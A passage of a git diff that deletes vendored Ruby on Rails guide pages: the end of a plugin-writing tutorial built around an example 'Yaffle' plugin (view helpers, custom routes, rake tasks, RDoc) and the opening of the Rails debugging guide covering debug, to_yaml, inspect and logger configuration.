-<div class="para"><p>This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers helpers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
-  path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
-  <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
-  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
-  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> WoodpeckersHelper
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> WoodpeckersHelper
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> tweet<span style="color: #990000">(</span>text<span style="color: #990000">)</span>
-    <span style="color: #FF0000">"Tweet! #{text}"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.</p></div>
-</div>
-<h2 id="_add_a_custom_route">9. Add a Custom Route</h2>
-<div class="sectionbody">
-<div class="para"><p>Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself.  Jamis Buck showed a great example of this in <a href="http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2">http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2</a>.</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/routing_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"#{File.dirname(__FILE__)}/test_helper"</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RoutingTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
-    ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
-      map<span style="color: #990000">.</span>yaffles
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_yaffles_route
-    assert_recognition <span style="color: #990000">:</span>get<span style="color: #990000">,</span> <span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-
-    <span style="font-style: italic"><span style="color: #9A1900"># yes, I know about assert_recognizes, but it has proven problematic to</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># use in these tests, since it uses RouteSet#recognize (which actually</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># tries to instantiate the controller) and because it uses an awkward</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># parameter order.</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> assert_recognition<span style="color: #990000">(</span>method<span style="color: #990000">,</span> path<span style="color: #990000">,</span> options<span style="color: #990000">)</span>
-      result <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>recognize_path<span style="color: #990000">(</span>path<span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> method<span style="color: #990000">)</span>
-      assert_equal options<span style="color: #990000">,</span> result
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"routing"</span>
-ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>RouteSet<span style="color: #990000">::</span>Mapper<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>MapperExtensions
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/routing.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Routing <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MapperExtensions
-      <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffles
-        <span style="color: #009900">@set</span><span style="color: #990000">.</span>add_route<span style="color: #990000">(</span><span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>config/routes.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
-  <span style="color: #990000">...</span>
-  map<span style="color: #990000">.</span>yaffles
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p></div>
-</div>
-<h2 id="_odds_and_ends">10. Odds and ends</h2>
-<div class="sectionbody">
-<h3 id="_generate_rdoc_documentation">10.1. Generate RDoc Documentation</h3>
-<div class="para"><p>Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.</p></div>
-<div class="para"><p>The first step is to update the README file with detailed information about how to use your plugin.  A few key things to include are:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Your name.
-</p>
-</li>
-<li>
-<p>
-How to install.
-</p>
-</li>
-<li>
-<p>
-How to add the functionality to the app (several examples of common use cases).
-</p>
-</li>
-<li>
-<p>
-Warning, gotchas or tips that might help save users time.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.</p></div>
-<div class="para"><p>Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.</p></div>
-<div class="para"><p>Once your comments are good to go, navigate to your plugin directory and run:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>rake rdoc</tt></pre>
-</div></div>
-<h3 id="_write_custom_rake_tasks_in_your_plugin">10.2. Write custom Rake tasks in your plugin</h3>
-<div class="para"><p>When you created the plugin with the built-in rails generator, it generated a rake file for you in <em>vendor/plugins/yaffle/tasks/yaffle.rake</em>.  Any rake task you add here will be available to the app.</p></div>
-<div class="para"><p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>namespace <span style="color: #990000">:</span>yaffle <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  desc <span style="color: #FF0000">"Prints out the word 'Yaffle'"</span>
-  task <span style="color: #990000">:</span>squawk <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>environment <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-    puts <span style="color: #FF0000">"squawk!"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>When you run <tt>rake -T</tt> from your plugin you will see:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>yaffle:squawk             # Prints out the word 'Yaffle'</tt></pre>
-</div></div>
-<div class="para"><p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p></div>
-<h3 id="_store_plugins_in_alternate_locations">10.3. Store plugins in alternate locations</h3>
-<div class="para"><p>You can store plugins wherever you want - you just have to add those plugins to the plugins path in <em>environment.rb</em>.</p></div>
-<div class="para"><p>Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.</p></div>
-<div class="para"><p>You can even store plugins inside of other plugins for complete plugin madness!</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>plugin_paths <span style="color: #990000">&lt;&lt;</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>RAILS_ROOT<span style="color: #990000">,</span><span style="color: #FF0000">"vendor"</span><span style="color: #990000">,</span><span style="color: #FF0000">"plugins"</span><span style="color: #990000">,</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span><span style="color: #FF0000">"lib"</span><span style="color: #990000">,</span><span style="color: #FF0000">"plugins"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h3 id="_create_your_own_plugin_loaders_and_plugin_locators">10.4. Create your own Plugin Loaders and Plugin Locators</h3>
-<div class="para"><p>If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process.  You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.</p></div>
-<h3 id="_use_custom_plugin_generators">10.5. Use Custom Plugin Generators</h3>
-<div class="para"><p>If you are an RSpec fan, you can install the <tt>rspec_plugin_generator</tt> gem, which will generate the spec folder and database for you. See <a href="http://github.com/pat-maddox/rspec-plugin-generator/tree/master">http://github.com/pat-maddox/rspec-plugin-generator/tree/master</a>.</p></div>
-</div>
-<h2 id="_appendix">11. Appendix</h2>
-<div class="sectionbody">
-<h3 id="_references">11.1. References</h3>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i">http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii">http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/technoweenie/attachment_fu/tree/master">http://github.com/technoweenie/attachment_fu/tree/master</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html">http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_final_plugin_directory_structure">11.2. Final plugin directory structure</h3>
-<div class="para"><p>The final plugin should have a directory structure that looks something like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>  |-- MIT-LICENSE
-  |-- README
-  |-- Rakefile
-  |-- generators
-  |   `-- yaffle
-  |       |-- USAGE
-  |       |-- templates
-  |       |   `-- definition.txt
-  |       `-- yaffle_generator.rb
-  |-- init.rb
-  |-- install.rb
-  |-- lib
-  |   |-- acts_as_yaffle.rb
-  |   |-- commands.rb
-  |   |-- core_ext.rb
-  |   |-- routing.rb
-  |   `-- view_helpers.rb
-  |-- tasks
-  |   `-- yaffle_tasks.rake
-  |-- test
-  |   |-- acts_as_yaffle_test.rb
-  |   |-- core_ext_test.rb
-  |   |-- database.yml
-  |   |-- debug.log
-  |   |-- routing_test.rb
-  |   |-- schema.rb
-  |   |-- test_helper.rb
-  |   `-- view_helpers_test.rb
-  |-- uninstall.rb
-  `-- yaffle_plugin.sqlite3.db</tt></pre>
-</div></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html b/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html
deleted file mode 100644
index 0653caaf..00000000
--- a/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html
+++ /dev/null
@@ -1,1175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Debugging Rails Applications</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_view_helpers_for_debugging">View Helpers for Debugging</a>
-						<ul>
-						
-							<li><a href="#_debug">debug</a></li>
-						
-							<li><a href="#_to_yaml">to_yaml</a></li>
-						
-							<li><a href="#_inspect">inspect</a></li>
-						
-							<li><a href="#_debugging_javascript">Debugging Javascript</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_the_logger">The Logger</a>
-						<ul>
-						
-							<li><a href="#_what_is_the_logger">What is The Logger?</a></li>
-						
-							<li><a href="#_log_levels">Log Levels</a></li>
-						
-							<li><a href="#_sending_messages">Sending Messages</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_debugging_with_ruby_debug">Debugging with ruby-debug</a>
-						<ul>
-						
-							<li><a href="#_setup">Setup</a></li>
-						
-							<li><a href="#_the_shell">The Shell</a></li>
-						
-							<li><a href="#_the_context">The Context</a></li>
-						
-							<li><a href="#_threads">Threads</a></li>
-						
-							<li><a href="#_inspecting_variables">Inspecting Variables</a></li>
-						
-							<li><a href="#_step_by_step">Step by Step</a></li>
-						
-							<li><a href="#_breakpoints">Breakpoints</a></li>
-						
-							<li><a href="#_catching_exceptions">Catching Exceptions</a></li>
-						
-							<li><a href="#_resuming_execution">Resuming Execution</a></li>
-						
-							<li><a href="#_editing">Editing</a></li>
-						
-							<li><a href="#_quitting">Quitting</a></li>
-						
-							<li><a href="#_settings">Settings</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_debugging_memory_leaks">Debugging Memory Leaks</a>
-						<ul>
-						
-							<li><a href="#_bleakhouse">BleakHouse</a></li>
-						
-							<li><a href="#_valgrind">Valgrind</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_plugins_for_debugging">Plugins for Debugging</a>
-					</li>
-					<li>
-					<a href="#_references">References</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Debugging Rails Applications</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Understand the purpose of debugging
-</p>
-</li>
-<li>
-<p>
-Track down problems and issues in your application that your tests aren't identifying
-</p>
-</li>
-<li>
-<p>
-Learn the different ways of debugging
-</p>
-</li>
-<li>
-<p>
-Analyze the stack trace
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_view_helpers_for_debugging">1. View Helpers for Debugging</h2>
-<div class="sectionbody">
-<div class="para"><p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>debug</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>to_yaml</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>inspect</tt>
-</p>
-</li>
-</ul></div>
-<h3 id="_debug">1.1. debug</h3>
-<div class="para"><p>The <tt>debug</tt> helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= debug @post %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
-  &lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll see something like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>--- !ruby/object:Post
-attributes:
-  updated_at: 2008-09-05 22:55:47
-  body: It's a very helpful guide for debugging your Rails app.
-  title: Rails debugging guide
-  published: t
-  id: "1"
-  created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-
-Title: Rails debugging guide</tt></pre>
-</div></div>
-<h3 id="_to_yaml">1.2. to_yaml</h3>
-<div class="para"><p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= simple_format @post.to_yaml %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
-  &lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>to_yaml</tt> method converts the method to YAML format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p></div>
-<div class="para"><p>As a result of this, you will have something like this in your view:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>--- !ruby/object:Post
-attributes:
-updated_at: 2008-09-05 22:55:47
-body: It's a very helpful guide for debugging your Rails app.
-title: Rails debugging guide
-published: t
-id: "1"
-created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-Title: Rails debugging guide</tt></pre>
-</div></div>
-<h3 id="_inspect">1.3. inspect</h3>
-<div class="para"><p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= [1, 2, 3, 4, 5].inspect %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
-  &lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Will be rendered as follows:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[1, 2, 3, 4, 5]
-
-Title: Rails debugging guide</tt></pre>
-</div></div>
-<h3 id="_debugging_javascript">1.4. Debugging Javascript</h3>
-<div class="para"><p>Rails has built-in support to debug RJS, to active it, set <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).</p></div>
-<div class="para"><p>To enable it, add the following in the <tt>Rails::Initializer do |config|</tt> block inside <tt>environment.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_view<span style="color: #990000">[:</span>debug_rjs<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Or, at any time, setting <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>debug_rjs <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on debugging javascript refer to <a href="http://getfirebug.com/">Firebug</a>, the popular debugger for Firefox.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_the_logger">2. The Logger</h2>
-<div class="sectionbody">
-<div class="para"><p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p></div>
-<h3 id="_what_is_the_logger">2.1. What is The Logger?</h3>
-<div class="para"><p>Rails makes use of Ruby's standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p></div>
-<div class="para"><p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
-config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">By default, each log is created under <tt>RAILS_ROOT/log/</tt> and the log file name is <tt>environment_name.log</tt>.</td>
-</tr></table>
-</div>
-<h3 id="_log_levels">2.2. Log Levels</h3>
